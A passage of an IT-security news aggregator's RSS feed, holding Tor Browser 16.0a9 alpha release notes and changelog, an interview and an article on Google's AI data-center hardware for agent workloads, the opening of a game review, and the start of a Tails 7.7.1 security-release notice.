<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Go-Go Town! Review (PC)]]></title>
<description><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, han...]]></description>
<link>https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same.

The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy.

However, as the town expands, you are shifting away from hands-on ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Tails 7.7.1]]></title>
<description><![CDATA[This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.11, which
fixes several vulnerabilities in Firefox
140.10.1.



We are not aware of these vulnerabilities being exploited in practice until now.



Upd...]]></description>
<link>https://tsecurity.de/de/3687672/it-security-tools/tails-771/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687672/it-security-tools/tails-771/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix important security
vulnerabilities in <em>Tor Browser</em>.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to
<a href="https://blog.torproject.org/new-release-tor-browser-15011/">15.0.11</a>, which
fixes <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-36/">several vulnerabilities in <em>Firefox</em>
140.10.1</a>.</p>

<div class="attack">

<p>We are not aware of these vulnerabilities being exploited in practice until now.</p>

</div>
</li>
